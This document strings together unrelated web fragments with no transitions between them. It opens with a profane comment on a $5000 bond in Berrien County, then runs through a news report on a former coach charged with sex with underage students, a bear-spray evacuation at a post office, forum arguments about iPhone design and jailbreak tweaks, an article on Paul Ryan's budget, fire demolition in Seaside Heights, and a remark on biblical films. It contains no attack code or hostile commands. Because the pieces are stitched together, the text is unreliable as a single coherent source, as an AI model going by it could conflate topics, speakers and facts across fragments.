Are you fucking kidding me? Given how utterly unjust our court system is, profanity is about the mildest reaction one should expect. A $5000 bond for a woman for saying a naughty word? I'm not the least bit shocked that this happened in Berrien County. Even by the standards of our criminal injustice system, that county is among the worst — not in the state, in the entire country. When I interviewed Amy Bach, author of the amazing book Ordinary Injustice: How America Holds Court, she told me that she spent a lot of time in Berrien County and would have included it in her book if she'd had space (she focused on several counties down south instead).

FONTANA - A former Eisenhower High School athletic coach suspected of having sex with two former students pleaded not guilty at his arraignment Friday morning.
Floyd Eddings Jr. appeared before the Fontana court Judge Art Harrison where he heard the charges he's accused of committing.
During the video arraignment, Eddings was granted council provided through the Public Defender's Office.
Eddings, a former NFL wide receiver for the New York Giants, is accused of having sex with two members of the Eisenhower girls basketball team when he was a coach between 1999 to 2004.
Both alleged victims were under 16 at the time, according to police.
He is also charged with forcible sexual penetration with foreign objects on a minor.
He was taken into custody at his Rialto home on Thursday morning as he was leaving for his job as a security officer for the Corona-Norco Unified School District.
A third victim may have come forward, but investigators declined to comment citing the ongoing investigation.
Eddings was a walk-on coach starting in 1995, said Rialto Unified spokeswoman Syeda Jafri. He coached girls basketball, track and field and, at one time, was the head freshman football coach.
Rialto school district officials accepted his resignation in 2004 but would not comment as to why Eddings abruptly left.
He was hired in 2004 as a campus security guard for the Corona-Norco Unified School District.
School officials at Corona-Norco said Eddings was placed on administrative leave without pay following his arrest Thursday.
Tom Pike, assistant superintendent at Corona-Norco, said he couldn't comment on whether any allegations have ever surfaced against Eddings in his district, but did say their first concern is the protection and safety of every student in the district.
His bail remained at $400,000 and he was in custody at West Valley Detention Center in Rancho Cucamonga.
Rialto police said they are concerned there may be other victims and ask anyone who may have information to contact Detective Carla McCullough at 909-820-2521.
Reach Doug via email, call him at 909-386-3925, or find him on Twitter @crimeshutterbug.

Bear Spray forces post office evacuation
Postal workers carry Bear Spray to stop attacking dogs. Wednesday morning, the Parkrose Post Office was evacuated when a can of Bear Spray was accidentally discharged. 10 people were affected by the spray and three people were sent to Providence Medical Center to have their eyes flushed. None of the people in the building suffered serious injury. The building's heating and air conditioning system helped to spread the pepper spray.

Damn I'm going through a rough patch myself, anyone knows what drugs he's on seems like a nice reality to live in.
"the new BlackBerry 10 mobile operating system is superior to iOS because it enables users to run multiple apps simultaneously in a multitasking environment"
Wow I could see it now, you could run all 15 apps that were ever made for the BB10. That's amazing multitask an entire app store, I take it all back that is great.
To be fair i still dont understand what ppl want. Yea a few toggles like wifi brightness etc i get but when the words like overhaul and redesigned are used im puzzled. What do ppl want? Diamond shaped icons? Hardcore theming i get but wouldnt want to sacrifice stability or ease of use for it.
We want something new, why do you People think it's impossible to design a fresh new system? Stop making excuses and being so closed minded, the system is old and boring. The fact that it's on lockdown doesn't help either. Apple got smart and finally fired Scott Forstall, so Im hoping to see something new soon. The iPhone OS has lots of potential, and it's simply not being utilized.
There hasn't been any major innovation on the iPhone since the debut of iPhone 4. Sure, the 5 had a slightly bigger screen and a new connector, but that's about it. Under-the-hood advancements don't count for much with the average consumer. They want options other phones have, like HTC's ability for 3D movies, or even projectors built-in. While I don't care about these options, people who are looking to be swayed, do.
He's not wrong. Apple would be smart to start taking note. BlackBerry was a prime example of it as well. An innovative idea that spawned massive sales, growth, and user base. But they went stale while competitors evolved and lost their market. Apple is on the same path without the innovation. It can't be a few minor features changes anymore, or a single design. They really need to step out of their mold and bring something that will wow the world again.
I don't disagree. Here's a screenshot of iPhone 2G. If I cropped out the phone. It looks the same as it is now, 5 years later.... aside from the extra row of icons.
I love my iOS devices (5 iPhones, 3 iPads, 3 iPod Touch, 2 AppleTV). I'd like to see something new with the UI.
As soon as you pick up an iphone, u know how to use it.
A lot of the credit goes to its intuitive character, but its mainly due to the fact that we've all used some ios device atleast some time in our lives.
What apple did was to create the most simple and the most stable os and spent the last five years improving it. Not randomly coming up with new interfaces to **** with people's brains every time they pick up their phone after an update.
If u want to pimp your phone, jailbreak it. NO MATTER WHAT APPLE DOES, IT CANNOT MATCH THE AMOUNT OF CUSTOMIZATION THAT JAILBREAKING WILL ALLOW YOU... And apple knows that. Thats why they cater to the demands of the majority who purchase a phone for its utilities and with each update, apple tries to ease the access of those utilities or maybe add a few more instead of changing the way of accessing them. Its like your cupboard. Imagine if every month, the stuff inside your cupboard got completely 'rearranged'. Even if the new setup is as systematic as the old one, you will still need to get used to the new arrangement which is ******* annoying. On the other hand, if the look and the feel of the cupboard doesnt change, the stuff remains where it was, but its now a modular cupboard, thats something that 99% of the 'sane' population would look forward to.
The same is with the phone.
But as i always say, to each his own! This is just my opinion.
And please dont tell me that the amount of innovation that went into creating the s4 was out of this world. Most, though not all the new features are useless. 100 snapshots in 4 seconds? How about just 6 or maybe 7 good ones? Good luck deleting the rest of the 99 which are inferior to the one you choose.
And what the **** is still picture with a song? Is samsung retarded? Its like a slide show, but wait, theres just one slide but full background music. Hilarious.
Lets talk about the part where the photographer too can be present in the photo as a face in a cloud. It would spoil the entire picture. And if the photographer so desperately wants to be in the photo, theres always photoshop which will actually produce results which are not laughable.
And excuse me for wanting to watch my videos in a relaxed manner without having to stare intently at the screen else it stops playing..!
I could go on but u got my point. I did like a couple of the features like the air touch or something where u dont have to touch your screen because this should lead to a lot of new gesture based actions. Rest is crap.
Jailbroken idevices account for less than 10% of all apple products. Why would they cater to the minority?
6 years later and still a clock bar on the lock screen? Really? - How about weather, rss, stocks (glance lock screen info) - So many LS tweaks!
1. Intelliscreen X
2. iScheduler
3. SpeakEvents
4. Hands-Free Control
5. HapticPro
6. iBlacklist
7. Overboard
8. Firewall IP (and PMP) - yes, because sometimes "legitimate" apps try to make off with location, contact, sms, email, music collection info.
And these aren't fluffy cosmetic theme changes either but real world functionality that people use. Remember, these are things that the iPhone does now but of course needs to be jail-broken. So haven't even begun to touch on how Apple can Ape some of the functionality that new high end phones are putting out now. And hey, they are not above "borrowing" either (i.e. NC center)...
So, just remember, the Roman Empire was mighty once too...

Will Ryan budget doom GOP in '16?
At least one part of the 2016 presidential election is going to look a lot like 2012.
Tuesday's rollout of the latest budget from Rep. Paul Ryan (R-WI) served as a reminder that while "you didn't build that" and "binders full of women" may be relegated to historical trivia, the political debate over Ryan's budgetary proposals will be as heated in the next presidential election as it was in the last. It also has the potential to do as much harm to the next GOP nominee.
Every potential GOP candidate for 2016 has endorsed Ryan's controversial budget in the past. In its 2014 iteration, it would slash Medicaid and food stamps, privatizing and voucherizing Medicare, repeal Obamacare (while keeping the cuts to Medicare that were part of the ACA), and cut taxes and domestic spending while adding nearly $500 billion over ten years to the military budget.
Ryan's plan is not going to be law—in fact, it's not going to be easy to get 217 Republicans in the House to vote for it, let alone gain even an iota of support from President Obama or Democrats in the Senate. But it will define the political debate and serve to set the GOP's budget priorities. In a statement, RNC Chair Reince Priebus praised Ryan's proposal, saying, "Americans are calling for an end to the reckless spending, and Chairman Paul Ryan's budget answers that call. It treats working families fairly and will strengthen our economy."
In short, the proposals of the 2012 Republican vice presidential nominee have already become party orthodoxy. The problem for the GOP and 2016 hopefuls is that the details of the plan aren't very popular and already proved a major drag in 2012 on Mitt Romney.
The risk for the GOP is that by enshrining the Ryan budget as an adjunct to the party platform ties even its most center-right figures to its proposals. In fact, a number of potential establishment candidates have already backed previous iterations of the plan. New Jersey Governor Chris Christie praised Ryan's first budget in 2011 and expressed his support in a letter that was co-signed by three other Republican governors. This acclaim paled in comparison to that of former Florida Governor Jeb Bush who effused in 2012 that he was a "huge fan" of the Wisconsin congressman and proclaimed his support of the Ryan budget. Backing for Ryan's budgetary proposals run the GOP gamut and other contenders likeScott Walker and Marco Rubio have bet on them as well.

SEASIDE HEIGHTS, NJ -- Demolition began this week to clear the debris and raze unstable structures left in the wake of a fire that destroyed nearly 60 buildings in Seaside Heights and Seaside Park last month. State and local municipalities, eager to begin the rebuilding process, cut through the standard red tape that often entangles such contracts in order to begin work as quickly as possible.
The $4.7 million contract, which was awarded to Eagle Paving Corp. (South Toms River, NJ), requires the work be completed within 60 days. However, the selection of Eagle has raised some local eyebrows. Eagle is run by Bill Major, owner of FunTown Pier, which was destroyed in the blaze.
According to the cities' officials, neither municipality will need to dip into their budgets to complete the cleanup. Each has been promised $2.5 million from the Superstorm Sandy fund through the state's Economic Development Authority's Community Development Block Grant Disaster Recovery program.
The cause of the fire, which destroyed blocks of oceanfront property, has been attributed to an electrical malfunction. Arson investigators have determined that wires beneath the boardwalk that were either aging or damaged by salt water from Hurricane Sandy were the cause.

I knew it! Many frustrated swipes from time to time and it just seems to ignore input when it feels like it. Still love my 5, but games like vice city or black ops zombies would be more frustrating than fun. I personally prefer a console for those type of games anyway.
Maybe it will be called the iPhone 5TO.
Can you imagine Jobs letting this happen back in the day ?
Whatever happened to "It just works" ?
Core Apple has probably been dying since Jobs got really ill.
The old master is gone and we're just left with whatever the legacy is good for.
Pretty sure jobs was alive when the antenna problem was developed
No offense but who cares what its called. Not even important. Lets hope the maps are right by then, lets hope a JB is finally out by then, every model since iPhone 1 has had issues..this one is not special in the fact that it too has issues. If tech was perfect we'd all still be using the 1st iPhone haha!
I'm not out to prove a point about post-Jobian Apple - I really couldn't give a sheet about that.
It's just that the 4S was a massive disappointment and the i-5 doesn't seem to have got much right at all (screen technology issues, wrong screen-size, lack of novelty).

The Passion of The Christ was an independent movie, paid for entirely out of Mel Gibson's pocket. The Prince of Egypt was an animated film that emphasized the common ground between Jews, Christians and Muslims. The Last Temptation of Christ was a low-budget art-house flick based on a heretical novel.
You would have to go back at least as far as King David, the mid-1980s box-office flop starring Richard Gere, to find another live-action movie produced by a major Hollywood studio and based directly on the Bible. And you would have to go back even further — to the bathrobe epics of the 1960s, at least — to find a mainstream biblical movie that was as blatantly Christian as The Nativity Story.
